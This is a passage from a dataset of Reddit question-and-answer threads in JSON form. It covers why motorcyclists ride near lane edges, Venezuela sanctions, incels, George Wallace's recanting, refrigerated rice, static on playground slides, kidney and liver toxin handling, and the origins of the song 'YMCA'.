are several reasons.\n\nFirst, visibility. The rider is able to see traffic much better when riding at one edge or the other of a lane rather than the middle. Furthermore, other traffic is able to see the rider much better when the rider is closer to the edge of the lane, as they are more visible to oncoming traffic (which is why you'll generally see the rider on the *left* side of the lane on a two lane road in a country where the people drive on the right). This is true for mirror visibility and avoiding blind spots as well as direct visibility.\n\nSecond, traction. The best traction available in the lane is in the tire tracks of where car and truck tires typically go. The grease and oil drippings collect in the center, meaning significantly less traction there. Debris, gravel, and garbage collect on the edges, again affecting traction.\n\nThird, lane dominance. Riding in the center or the incorrect edge of the lane encourages selfish drivers to attempt to share the lane and use the perceived 'extra' real estate to pass a slower driver. This is dangerous.\n", "Motorcyclists break a car's single lane into 3 lanes: left, middle, and right. The lane chosen for riding is typically chosen based on a combination of safety factors, primarily on the condition of road, and then visibility to other vehicles.", "2 main reasons for me:\n\n* slick stains from car drippings (oil, etc) are usually center 3 feet of lane.   Riding off-center avoids that area.  \n* better line of sight around cars ahead of me.  \n\n\n\n\n", "As an avid rider, there's a couple reasons.\n\n1) the road surface isn't perfect and over time the wheels of cars form two grooves, or \"ruts\" that are clean and grip well. We like to ride in these for traction, as all the road grime collects in the center and poses a hazard when the road is wet. \n\n2) when we approach a stop, it's not uncommon for us to get rear ended since our narrow profile makes it hard to judge our distance if you're not paying attention. By staying on the edge of the lane, it's possible to avoid being rear ended, even if just by an inch. Theres a video about this Wich I'll link if I find it \n\n3) we can better assess traffic ahead of us and plan escape routes, etc. We take advantage of being able to do this, so that when were in a bad spot, we can easily get out. ", "Hi, Rider here. \n\nThere are a few things probably adding up to this\n\n1. Simply put, many of us don't. But I recognize that assholes are the most effective ambassadors. One bad rider can form an impression. \n2. There's a cultural element *cough cough Harley douches* who like to do a bit of bullying and ride literally on the line. \n3. Most of us will occupy the left side or right side of a lane \u2014 but still well within the lane itself \u2014 in order to stay visible in mirrors or prepare for a pass.\n\nThe main thing car and motorcycle riders should all remember is that safety on the road is a shared currency and that traffic works when its predictable.", "Oil and coolant accumulate on the center part of the road which is not hood on a motorcycle.", "It's called the blocking position. Apart from making yourself visible in rear view mirrors the position discourages the vehicle behind from illegal and unsafe overtake. If the rider leaves space it might temp the vehicle behind to overtake in the same lane thereby sqeezing the biker. \n\nAlso the middle of the road is the most oily and therefore the most slippery part. The oil leaks from the vehicle is sprayed all over the middle part of the road.", "Not only is line of sight an issue, but also there is the highest concentration of oil in the middle of the lane. So riding on the left or right is safer than the middle. ", "So what about the cyclists who weave in and out of traffic on I 80 while everyone is doing 85+?  ", "Motorcyclist here.\n\nYou ride in the lane position that provides the most visibility (there are 3). Also, the center of the lane usually has debris, oil, etc. which is hazardous for 2 wheeled vehicles.", "American cars tend to drop A/C water on the right side, it is slick at intersections. Middle is slick with oil. ", "* The center of the lane is where all the oil is so it's more dangerous \n\n* We ride to the left of the center so you can see us in your side mirrors - folk merging left always look to their left mirror to merge. \n\n* In case the car in front of us stops suddenly, we can easily dart around it if we ride on the side. \n\n* In case the Buffon behind us doesn't see us, riding on the left puts us right in the eye line of the driver and also is best to be hit by the side off the car then squished from behind. \n\n* I can see around the car better\n\n* I'm protecting my lane - folk from the left are less likely to merge into my lane if I'm on the left. ", "Along with the other reasons listed, I'm pretty sure you're recommended to do this as cars will try and overtake you if they feel like there's enough space.\n\nIf you're all the way into the middle or inside of your lane a car may take this as an opportunity to overtake, as they may feel like there's enough room. Pushing you further out. If an opposing car approaches then they're more likely to push into your side than they are to brake and let you keep your position.\n\nYou should occupy the lane as if you were the size of a car, effectively.", "Scrolled past many comments and didn't see anything about claiming your road position. Riding in the right tire track (US) or even middle lane can invite ingnorant/reckless motorist to occupy the unused portion of our lane-space to pass.", "It's called protecting your lane. Also, riding in the grease strip is bad. This could of been easily googled and is on the motorcycle driving test....", "I still dont why people ride them at. Low storage cap, cant carry friends,exposed to the elemts, cant listen to music, if you crash you are fuuucked, other drivers have a hard time seeing you so crashing becomes more likely, uncomfrtable for long drives. Sorry for being a grandpa. Just saw some friends get fucked up on them. I just put it down to an ego/adrelenine thing.", "There is an oil slick on the middle of the road that really comes out with the slightest rain.  I once saw a guy go down riding in the center trying to stop at a light. The layer of oil from cars had slicked up the road during a drizzle.  Another reason for riding in the left track of a road is to be seen  by the guy in front of you and finally if someone isn't paying attention and coming up on you at a stoplight you can pull out around the car in front of you to avoid getting rear ended, which is why you also leave it in 1st gear at a stoplight.", "I'm a motorcyclist of 20 years from central Sydney, Australia (ie, I ride in a city with a decent amount of traffic)\n\nThere are two reasons to stay out of the centreline. One is that the centre of the road doesn't get swept of debris. Cars drop things like oil near the middle, and car tyres can help clear sand, oil, nails and screws, and so on, so for the most part you want to try to ride in the wheel track of the cars. The other is that from the edges of the lane you can see further ahead, and your are more visible to other traffic. (There is a third reason, which is to make sure cars don't try to take part of your lane away from you, but that one is very situational and hard to phrase as a principle.)\n\nEither the left or right wheel track will do, so how do you pick? You pick based on the situation at the time. The golden rule is to maintain as much space as you can from the hazards around you. If there are many hazards, stay away from the biggest hazard. Space means potentially avoiding the problem without having to take any action, and if not, space = time, and time = time to react if necessary.\n\nSo, examples (using left-lane driving, per Australian rules. For the USA, invert everything).\n\nWhen on a road with one lane each way, stay in the right hand wheel track when there are no oncoming vehicles. This puts you far away from both curbs. If there's nothing else happening on the road, the curb is the biggest risk. Kids, or dogs, or inattentive adults on phones might jump out from behind some vision obstacle like a tree or bus stop. And even the curb itself is a hazard. It's something you can possibly hit which is fast relative to you. A gust of wind might blow you towards it, and if your tyre hits it, that's bad. \n\nIf there are oncoming vehicles, stay in the left hand wheel track. Oncoming vehicles are a bigger hazard to you than the curb. They hit hard, and they are travelling much faster relative to you than the curb is. A person on their phone might drift into your lane.\n\nIf there are occasional oncoming vehicles, move into the left wheel track while they pass, and move back into the right wheel track after they have passed.\n\nIf there an intersecting road on the left, move into the right wheel track. You can see further into the joining road, and if someone starts to pull out you have more space. If it's on the right, stay in the left wheel track.\n\nIf you're stopped at the lights in the right lane, stay in the left wheel track. People turning right from your left might cut the corner.\n\nSometimes the rule of space = time overrides the wheel track rule, and you want to stay in the centre. Your safety gets priority over avoiding punctures. So if there are big trucks on both sides of you, stay in the middle. If the lanes are narrow and the right wheel track takes you too close to the centreline, but there are hazards on the left, then the middle might be the best choice.\n\nExactly what to do in any specific situation is a judgement call, and the right judgement comes with experience. But these are the principles. Avoid debris and oil, stay visible, give yourself space.\n", "You presume they care. They don't. They ride around  damaging hearing and waking people up. ", "I do it because 1) it's easier for cars and trucks to see me in their mirror. 2) it's easier for me to see down the line of traffic and filter at the lights 3) there's less chance of debris/oil on the road where the cars have been, in the middle you can get oil and rocks ", "Another thing to consider is if there's something in the middle of the road, like a board, many times a car will straddle it instead of moving over, but it can be dangerous for a bike to go over it. By riding on one side, a bike will have time to react if the car in front of them swerves to miss the object instead of just driving over it.", "Because they hate themselves as much as everyone else hates them.  They just lack the courage to dive left into traffic.  Seriously, what kind of pos tunes his exhaust pipe for maximum volume and then drives thru peoples' neighborhoods?  Awful people, that's who.", "And when they stop behind you at a light and get right up to your bumper and they're way over on one side of the lane or the other it's so that you can see them and in case somebody is about to crash into you they can scoot out of the way so they don't become sandwiched I between cars.  ", "I haven't read all the comments, but the lanes where the car tires run are often smoother and very cleaner than the the middle. You don't notice it in a car, but there is often sand on the road and it gathers in between the \"wheel ruts\". It's not enough (usually) to be anything but minor annoyance, but it's there. \n\nThe primary reason is safety and safety on a motorcycle is all about visibility.", "The center of the lane is where the oil and other muck is.  Riding where car tires go is the safest place to be. ", "I just go with the 2/3 rule whenever possible. If you divide the lane into three lanes in your mind just stay at the edge of the second one right on the border of 3. Because especially if you're driving in the South where there's a lot of sand wash out, you want to stay away from the white line just as much as you want to stay away from the yellow one.", "As a bit of extra information, you\u2019ll often see riders in a group ordered in a kind of staggered pattern.\n\nThat is, the lead rider close to the centre line, the second on the opposite side, the third back near the centre and so on...\n\nThis is for a couple of reasons.\n\n1: Visibility. It\u2019s better to have the immediate forward view as clear as possible. So offsetting your group gives that bit better view. You can also see what multiple riders are doing and where they are looking at any one time. \n\n2: Braking space. If the riders in front are forced to brake suddenly then first of all you\u2019ll notice multiple brake lights in a staggered pattern. Also you can brake and \u201cslot\u201d into a gap more easily. Rather than arse-ram the rider in ftont. ", "Not gonna dig through all the replies, but there are actually three lanes for motorcycles for every car lane. Think of em divided by thirds. Generally, the middle of the lane is no bueno cause that's where the worst car visibility is, and all the engines drip their oil there. As for the right or left side of the lane, it really depends on traffic and visibility. If you are coming up on a busy intersection, where people make lots of right hand turns from the intersecting road, it may be a good idea to move over to the right so the cars taking a right don't think there is a gap and plow into you. Vice versa, if there is a left hand turn from oncoming traffic, you want the cars to see you are there before they decide to take the left turn right into you.\n\nA book I read when I started riding explained it like this:\n\nUse lane positioning to try and make yourself as visible as a semi, but always remember, you have to pretend at the same time you are the bicyclist on the road. What that means is try to make yourself super visible, but always remember not everyone will look out for you and be prepared for ensuring you have safe plans for quick reaction to the car drivers.", "sp oncoming traffic can see them, also not in the middle because that is where most oil, coolants, lubricants drip from cars and could cause slippery conditions", "In addition, automobile drivers frequently do not swerve around debris in the road.  You can be a few car lengths back in the middle, unable to see around the car in front of you, when a board or strip of semi tire or other exciting obstacle suddenly pops out in front of you with absolutely no warning whatsoever,", "Sometimes I do when there's a van in front of me with no windows in back. I need them to see me in the side mirror. I've literally been backed over before. I don't know why the person decided to start backing up, but we were in tight traffic, and I had nowhere to go. I was on the horn but they just kept backing up. So I just bailed and watched them back over my bike. It was a fun time. Probably goes with reason #1 in the top comment.", "In addition to everything here I would also like to add that motorcycles stay closer to the opposite lane because of people getting in and out of parked cars. Getting clotheslined by a car door wouldn't be fun.", "If you can't see their mirror, they can't see you.  \n\n\nAlso keeps people from going \"it's free real estate!\" and running you into the curb.  \n\n\nalso less potholes", "Those poor souls trapped in a cage, made to separate them from the world. Their cages leak fluids.\n\nYou'll really know it when you come to a expansion joint or bump in the road and see a dark spot in the center of a lane. That's all the grease and oil dripping from the cages.\n\nMotorcyclists try to ride in the tire tracks of cages where it's cleanest on the road. \n\nThere may also be thoughtful reasons for this, that they're saving room for a second motorcyclist to share the lane. \n\nOther reason is that back window are sometimes tinted. As a rider, I can follow the head movement of a cager better in their sideview mirrors and predict when they want to attempt murder (I mean switch lanes when my motorcycle is beside them.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://youtu.be/UNjrzGQCMUM"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://youtu.be/5y1AI_EFAuc"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "b7o509", "title": "why is the u.s. sanctioning venezuela?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b7o509/eli5_why_is_the_us_sanctioning_venezuela/", "answers": {"a_id": ["ejsz4r5", "ejt2il3", "ejt4wk6"], "score": [4, 16, 4], "text": ["Imperialism. The U.S. wants regime change on its own terms so it can plunder the country of its natural resources. It did this to most of the countries in south america and others throughout the world over the last 100 years. It's a reoccuring thing.", "Over the past 20 years Venezuela socialized their industry and began running the government very poorly.\n\nOne instance is that they started setting rules on how much stores could charge for food so that everyone could afford it. The stores couldn't afford to sell anymore so they restricted how much the farmers could charge. Then the farmers could no longer make a living so Venezuela stopped producing much of their food.\n\nFortunately for them, they had a lot of oil and it sold for a lot of money and the government could subsidize imports. Unfortunately, there is something called a resource curse in which governments get rich and corrupt at the expense of their people. When the price of oil dropped the country fell into turmoil but the government would not deal with the rampant corruption.\n\nHugo Chavez, the president who made all these changes, died in 2013 and put vice president Maduro in charge. In the midst of these struggles he outlawed opponents and won the next election. Many of the people of Venezuela, many countries around the world, and most of the Western Hemisphere including the US believe the elections were fraudulent and are calling for Maduro to step down. \n\nMaduro has not taken this well and the country is getting worse. Aid trucks were sent in to help, but the convoy was blocked. During the ensuing riot the supplies were destroyed. It looks like one of the people protesting the government accidentally started it with a poorly thrown Molotov cocktail (the burning rag fell out of the bottle while being thrown), but that the situation could even exist shows there is a problem between the government and the people.\n\nThe problem is that the industries are nationalized so whatever money goes in through exports like oil goes to him. His supporters will be supplied while the average people suffer.\n\nEdit: Additionally, Venezuela also appears to be working with Russia in making threats against the US. So, another part of Cold War II", "The us is trying to create excuses to go I there and do a coup and make some money.\n\nThe government has a questionable track record. This is true. But they are a poor country. And we and our alies do lots of the same things.  Not so say it's good. Just saying us going in and shooting up the place won't help.\n\n\n\nThe us has a long history of creating unrest in South America. Then going in to focus the problem we created and installing a dictator that is friendly to our intrests.    This is the origin of the term banana republic.  Look at Pinochet.  \n\nThis is just part of the same pattern of behavior as before."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8eq8qg", "title": "in light of toronto's tragedy, what is an incel?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8eq8qg/eli5_in_light_of_torontos_tragedy_what_is_an_incel/", "answers": {"a_id": ["dxx8a62", "dxx8kn6", "dxx8n4x"], "score": [2, 3, 3], "text": ["Why is this term being compared to gender?", "Involuntary celibate. There was a mysoginistic sub called incels a while back before it got removed. They basically hated on all women because they couldn't get layed.", "\"Incel\" is a term that's short for \"Involuntarily Celibate\". The core idea of being an incel is believing two core things:\n\n- \"I deserve to have sex.\"\n\n- \"I am being denied sex.\"\n\nThese two beliefs come together to form some new beliefs:\n\n- \"I deserve sex because women exist to have sex with me.\"\n\n- \"Since I am being denied the sex I deserve, all women are evil.\"\n\nSo it's pretty obvious why they're depraved induviduals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4mgl5z", "title": "Did any of the well known segregationist politicians change their attitudes later in life?", "selftext": "What did guys like Strom Thurmond and George Wallace have to say about their segregationist attitudes when they lived in a time in which they were clearly seen as being on the wrong side of history?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4mgl5z/did_any_of_the_well_known_segregationist/", "answers": {"a_id": ["d3venqp"], "score": [28], "text": ["George Wallace very publicly recanted his views in the late 70s. He apologized to the black community and met with civil rights leaders. He explicitly said he was wrong to try to block access at the schoolhouse. When he was reelected as governor for the fifth time in the early 80s he did nominate black people for state appointments and had two black members of his cabinet. His stand at the schoolhouse door was in 1964. His recanting came in 1979. So,  that tells you something about the change that occurred in this country in the span of fifteen years. \n\nIt's all speculation but some people have questioned how committed Wallace ever was to segregation. Early in his career when he was a judge he could be relatively fair on matters regardless of the race of the parties. And was known to be respectful to black attorneys. In his first run for governor he was endorsed by the NAACP. His opponent was endorsed by the KKK. Wallace had also made statements against the KKK early on. Compared with men like Robert Byrd (who attempted to filibuster the '64 Civil Rights Act  and was a member of the KKK in his youth). His opponent won. \n\nAfter that he changed tactics and took on a more pro-segregetionist stance. And after changing tactics he won. This is something he himself acknowledged. He had a famous quote about how he used to talk about good schools and roads and all that but lost. But when he started talking about black people (not the word he used) they were stomping the floor (paraphrase). So, unsurprisingly, some suggest this was a blatant attempt to use race baiting to get votes. Remember that at the time there were laws on the books that effectively disenfranchised black voters. He needed the white vote. \n\nWhile there is no question that he played that up to get votes, and admitted he was doing that even *at the time*, I have no authority to confirm or deny what was in his heart. I think using his judge record is tenuous. A person can believe everyone is equal before a court of law and still have deeply racist views in other areas. But there is definitely an argument made by some that this was mostly political theater on his part. Moralizing isn't part of the role of AskHistorians so we can leave it to others to debate whether that makes it better or worse. \n\nRobert Byrd also repented his actions. He said both the filibuster and joining the KKK was a mistake. As for the sincerity of his apologies (realistically he couldn't possibly remain in the Democratic party after the late 70s without doing so) we do have a long record to examine. His record on issues impacting black people was considered in line with the NACCP. He got some criticism for voting against both black candidates for the Supreme Court. But with Clarence Thomas, at least, there is reason to think he was very disturbed by the Anita Hill situation. And he was one of the only Democrats to vote to censure Bill Clinton for his behavior. So, sexual harassment was an issue that bothered him across racial lines. He did endorse Barack Obama for President in 2008 even though Hillary Clinton had won West Virginia's primary.  Not that that means anything (I can't be racist some of my best Presidential candidates are black!) and he did have an uncomfortable history with the Clintons. But if we are examining his record for the sincerity of his recanting then it's pertinent. He also had a consistently good score with the NAACP for voting for their positions. \n\nI'm sorry to say I don't know much about Strom Thurmond. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3lcwcz", "title": "Why does fresh prepared rice, nice soft rice, dry out when sealed immediately and refrigerated?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3lcwcz/why_does_fresh_prepared_rice_nice_soft_rice_dry/", "answers": {"a_id": ["cv5mpud"], "score": [11], "text": ["There are two kind of starch in rice: amylose and amylopectin. Amylose is a long, straight starch that rigidifies when it cools. Amylopectin is stockier and branched in structure, and it gelatinizes under heat.\n\n Long grain rice\u2014the rice most prone to hardening in the fridge\u2014has a high proportion of amylose. The shorter the grain, the less amylose and the more amylopectin\u2014which is why shorter grains are used for risotto and sushi.\n\nThere's a Good Eats episode that does a good job of explaining this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8oe4he", "title": "why does a plastic playground slide build up static electricity when it is hit by sunlight?", "selftext": "The same effect can be observed on other non-conductive, polymer surfaces like the mesh of a trampoline.  If it is sitting in the sun for a while, you can feel the static charge on it when you approach it, even if no one has been on it recently (so it's not just from friction of users' clothing). ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8oe4he/eli5_why_does_a_plastic_playground_slide_build_up/", "answers": {"a_id": ["e02yeos", "e02z0rf", "e04bpoo"], "score": [7, 2, 3], "text": ["From what I understand with trampolines, the direct sunlight causes thermal expansion, which causes the fibers to stretch, shift, and in some cases tighten, causing continuous amounts of friction amongst the layers of material.\n\nI've never observed this effect on slides, however, unless there is sand getting blown around by breezes, which are a common occurrence in sunny areas.", "The static electricity is probably coming from the jumping of electrons within the slide. The electrons absorb the ionizing energy from sun and it jumps to a new orbit. As the electron move to a new orbit it creates an electric field since it is a moving charged particle. The electricity builds up on the surface since plastic is an insulator and the slide will remain charged until it transfers the charge somewhere. ", "ipanpan has a good start.\n\nThere are always stray electrons flying around, everywhere. The plastic of the slides (and other, non-conductive materials) tend to build up spare electrons just from the air currents moving over them, so its not really the sun that makes them collect charge. As the air around the plastic heats up, it loses its density and humidity, meaning that electrons that were sitting on or close to the plastic get stuck there. Air flowing over the plastic deposit more electrons. As the air cools after the sun goes down (or if it gets cloudy enough), the air around the plastic becomes more dense and can hold more humidity, which means that the electrons can be carried away by stray ions faster, and the amount of excess charge decreases.\n\nThe same kind of thing happens to aircraft windows, just a lot more air is flying past so more electrons build up. Fighter craft have special conductors attached to their cockpit windows (which are a type of plastic) to help remove excess charge, but they still have to be wiped down when they land before the pilot can exit because arcs (like little lightning bolts) can occur (we learned this the hard way, no deaths that I'm aware of, but injuries and damages)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1jagyx", "title": "What determines which toxins are filtered by the kidneys and which by the liver?", "selftext": "Also, I've read that some chemicals are filtered by both but in different percentages. It seems kind of arbitrary.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jagyx/what_determines_which_toxins_are_filtered_by_the/", "answers": {"a_id": ["cbcqzsi"], "score": [9], "text": ["The liver and kidney have two different functions when it comes to dealing with toxins. At the kidneys, toxins are excreted. Plasma is filtered through the [glomerulus](_URL_0_) into the nephron, which filters out cells and large proteins. Although lipid-soluble toxins might be able to slip through the nephron walls, the only way a water-soluble toxin is getting through is with a transporter, and why would you have a transporter to move toxins back into the body? Anyway, that leads to the bladder and eventually the toilet.\n\nThe liver is based more around metabolism. Its job is generally to make substances less toxic (like alcohol, though this ignores the fact that one of the intermediates is *more* toxic) or to metabolize substances to make it easier to excrete them. Lipid-soluble toxins would be able to slip through the lipid membranes of the nephron, so the liver metabolizes them to make them more water-soluble. Eventually they find themselves at the kidneys and are excreted like normal. Alternatively, depending on the toxin, the liver might be able to make something useful out of it.\n\nBasically, all the excretion of toxins is done by the kidneys, but sometimes the liver needs to alter the toxin first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.auburn.edu/academic/classes/zy/hist0509/image/nephron_colorfinal.jpg"]]}
{"q_id": "133bl0", "title": "Are there any examples of past elections/plebiscites where one party/option has won more than 95% of the vote fairly?", "selftext": "Sorry for the awkward wording.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/133bl0/are_there_any_examples_of_past/", "answers": {"a_id": ["c70gomj", "c70h2ka"], "score": [7, 10], "text": ["It didn't achieve 95%, but there was a **90.77% affirmative vote** in [the 1967 Australian referendum to include Aboriginals in the Commonwealth Constitution](_URL_0_) (the original Constitution had specifically excluded Aboriginals from the Commonwealth's jurisdiction). And that's in the context that Australians have voted \"No\" [to 36 out of 44 referenda](_URL_1_). We do *not* like change!", "Gibraltarians rejected shared British-Spanish sovereignty by 98% in 2002. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.abs.gov.au/ausstats/abs@.nsf/Previousproducts/1301.0Feature%20Article12004?opendocument&amp;tabname=Summary&amp;prodno=1301.0&amp;issue=2004&amp;num=&amp;view=", "http://en.wikipedia.org/wiki/Referendums_in_Australia#The_No_vote"], []]}
{"q_id": "9c6tjw", "title": "how do penis genes work? if i have [size] penis, does that mean my father has [size] penis?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9c6tjw/eli5_how_do_penis_genes_work_if_i_have_size_penis/", "answers": {"a_id": ["e58fyto"], "score": [20], "text": ["It doesn't work like that. There's no single gene that determines penis size. There are a number of genes on both the x chromosome (you only get this from your mother) and the y chromosome (you only get this from your father). There's no way to know which genes influenced what, which means there's no way to know if the genetic component came from your mother's side or your father's side. It's also not purely genetic. The level of certain hormones and various other chemicals in the womb during development has an impact."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p1h1o", "title": "uk energy - is it possible to re-nationalize the uk's energy supply and what would the implications be?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p1h1o/eli5_uk_energy_is_it_possible_to_renationalize/", "answers": {"a_id": ["ccy2fl4"], "score": [2], "text": ["What would be the aim of re-nationalising it ?\n\nIts going to cost a hell of a lot of money and there is an awful lot more needed to upgrade the infrastructure over the coming years like the recently announced new nuclear station.\n\nThe energy industry is split in to two parts - retail and wholesale. \nRetail buy from the wholesale side and sell to me and you. Roughly speaking if they make 5% profit they are doing very well, quite a few companies have been making a loss recently (hence price rises).\nThe wholesale side is where the money is, but its not a cheap thing to be in to, finding oil and gas is only going to get more expensive. Renewable sources (like wind and solar) are not cost efficient.\n\nNationalising the retail side is pretty pointless, they'd still be at the mercy of the wholesalers. If you did the whole lot I guess it would be more worth it but given the way the country works we'd end up with a huge public sector to run it all, more inefficiently than private companies would. I reckon it'd cost more to run in the public sector.\n\nI guess it would be possible for the government to force a compulsory purchase, whilst I don't think the EU would prevent it they may not be happy with regard to the loss of trade (many of our energy companies are owned by EU companies, in some cases those companies are owned by foreign states, for example EDF is French state owned).\n\nI would guess that if it were to be re-nationalised end consumers would end up paying even higher prices, partly because of the way it'd be run but also to service the massive debt taken on by the government to buy it back."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8cdiub", "title": "Young man: how did the Village People's \"YMCA,\" a song celebrating the closeted homosexual interactions occuring in 1960's Christian gymnasiums, become an anthem which a room full of 13 year olds at a church gathering would enthusiastically dance to in later decades?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8cdiub/young_man_how_did_the_village_peoples_ymca_a_song/", "answers": {"a_id": ["dxe87et", "dxehi19"], "score": [700, 1489], "text": ["/u/hillsonghoods has [an utterly awesome answer](_URL_0_) about the history of \"Y.M.C.A\" that addresses your specific question at the end.", "[A 12\" remix of a previous answer](_URL_1_): \n\nIn a [2008 oral history of 'YMCA' in Spin magazine](_URL_2_), members of the Village People and one of their producers, Henri Belolo, explain the genesis of the song. According to David Hodo (the construction worker in the Village People): \n\n >  It was 1977, and we were leaving a photography session on 23rd Street. Jacques Morali saw the big pink YMCA on 23rd and asked, \u201cWhat is this YMCA, anyway? \u201cAnd after laughing at his accent, we told him the Y was a place where you could go when you first came to New York when you didn\u2019t have any money \u2014 you can stay there for very little. And of course, someone joked, \u201cYeah, but don\u2019t bend over in the showers. \u201cAnd Jacques, bless his heart, said, \u201cI will write a song about this!\u201d\n\nThe Jacques mentioned by Hodo is Jacques Morali, a French producer who was the (co-)writer and producer of all of the Village People's biggest hits; Morali was gay, and sadly passed away in 1991 from AIDS. \n\nIn the group itself, there was a mix of sexualities in the Village People, with some members identifying as straight, some being ambiguous in print about it, and some identifying as gay. For instance, another member of the Village People - Victor Willis, the lead singer of 'YMCA' - is notable for being quite insistent that he is heterosexual; he married the actress who played Clair Huxtable on the *Cosby Show*. Willis has a co-write on the song, and Randy Jones (the cowboy in the Village People) says in the Spin oral history that: \n\n > It was not intended as a gay anthem. Do you have the lyrics in front of you? There\u2019s nothing gay about them. I think Victor wrote the words, but it\u2019s all a big fucking mystery. The guy who really deserves the credit is Horace Ott, who arranged the horns and strings. Jacques had the ideas, but Horace transformed them into songs.\n\nIn contrast, Hodo says in the same article that : \n\n > \u201cY.M.C.A.\u201d certainly has a gay origin. That\u2019s what Jacques was thinking when he wrote it, because our first album [1977\u2019s Village People] was possibly the gayest album ever. I mean, look at us. We were a gay group. So was the song written to celebrate gay men at the YMCA? Yes. Absolutely. And gay people love it.\n\nAccording to a [2013 analysis of the song and the relationship between the YMCA and 1970s gay culture in *The Believer* by Nicole Pasulka](_URL_3_): \n\n > At the Y, a spiritual man was a well-built, muscular man. The organization\u2019s leadership positioned the regional branches as destinations that could protect newcomers from \u201cnegative\u201d influences. It was here that many young guys had their first homosexual experiences. So Jacques Morali and Randy Jones were part of a history that included both diligent Christian bodybuilders and men cruising for \u201ctrade\u201d\u2014straight-identified, masculine men. \n\nPasulka and the Spin oral history both portray the YMCA as a place with an official anti-homosexuality policy, but a culture where homosexuality was often common. Pasulka also portrays the YMCA culture as becoming less gay towards the end of the 1970s, and becoming closer to mainstream culture, comparing it to the Village People's acceptance by the mainstream. \n\nBy all accounts, in a world where much of gay culture was very underground, the fairly obvious gay subtext of the Village People to modern viewers was less obvious at the time to the mainstream - there wasn't much public knowledge about what Pasulka calls 'clone culture'; gay stereotypes at the time were very feminised. In contrast to the feminised stereotype, the Village People cast a knowing look at heterosexual masculine stereotypes with their choice of dress - cowboys, construction workers, etc - and the knowing look was missed by a lot of the mainstream at the time. This meant that the Village People could deny the gay subtext was there when they felt it was appropriate - and for Victor Willis who may have written some or all of the lyrics, there really might have been no gay subtext.\n\nAccording to contemporary reports, the YMCA floated suing the Village People for defamation because of the implications of homosexuality, but didn't go through it - in the context of 'clone culture' etc, and Willis's denials of homosexuality it would have been quite awkward to prove. In contrast, the YMCA is now more relaxed about the gay overtones; their media relations manager said to Spin in 2008 that \"We at the YMCA celebrate the song. It\u2019s a positive statement about the YMCA and what we offer to people all around the world.\"\n\nAs to why a room full of 13 year olds at a church gathering would enthusiastically dance to the song in later decades, the Spin oral history notes that, by the 1990s, the song began to be used in sports settings in America, encouraged by team managers and the like who thought the song would be a crowd pleaser. According to, for instance, the director of stadium operations at the Brevard County Manatees: \n\n > There are a handful of songs that just make you get up and dance. At our ballpark, \u201cY.M.C.A.\u201d has to be considered one of them. \u201cY.M.C.A.\u201d is a gay song? Honestly, I had no clue.\n\n'YMCA' certainly isn't the only song with an origin in or links to gay subculture which has become a successful sports song; Queen's 'We Will Rock You/We Are The Champions' and Frankie Goes To Hollywood's 'Relax' both come to mind. Perhaps there is a story there about the cluelessness of most sporting people around the cultural clues surrounding music; things that are very obvious to people who are engaged in the culture of pop music often slide past the heads of people who are much less engaged in that culture. \n\nBut of course, pop music by its very nature is there to be *used*, and the people who make pop music generally hope for it to appeal to as big an audience as possible. Whether Hodo's claims about Morali's inspiration for the song are accurate, Morali very clearly produced the song to be a commercial hit. And to be popular, pop music generally has to provide something useful to more than one group of people, as there are always different groups in society who are consuming pop music; songs without a mass appeal amongst different demographics tend to not have...mass appeal. \n\n'YMCA' has - and has always had -  a multitude of uses beyond 'celebrating the closeted homosexual interactions occurring in ~~1960's~~ 1970s Christian gymnasiums'. It would never have gotten to #1 (in the UK, Canada, Australia, and much of Europe) or #2 (in the US) if that was its sole purpose - at least some of the places where it was successful would not have understood the meaning of 'YMCA', let alone the overtones of sexuality. After all, the song is very danceable, with a four-to-the-floor disco beat that works very effectively. It has easily replicable dance moves that are fun to do. It's clearly catchy. Victor Willis's vocal performance is strong in a soul shouter kind of way. The costumes of the group are memorable and their dancing is interesting to look at when you see the video. It also fit squarely within an extremely popular genre - disco - [which dominated the airwaves and the charts in the late 1970s, to the discontent of the rock audience shouting 'disco sucks'](_URL_0_). It's entirely unsurprising that it was a worldwide success in 1978.\n\nPeter Shapiro's book *Turn The Beat Around: The Secret History Of Disco* claims that the Village People were:\n\n > practically *personae non grata* in the gay clubs. Instead, the Village People got most of their play at aerobics classes for senior citizens who could perform the accompnaying dance to 'YMCA' without taxing their bodies too much, at barbecues by car mechanics who thought 'YMCA' was about playing basketball, at strait-laced high school proms in Kansas and at children's playgroups. It was Middle America that took the Village People close to its bosom\".\n\nThe Village People, in some ways, have stayed in public consciousness as an avatar of the cheesiness of late 1970s disco - disco has a reputation for 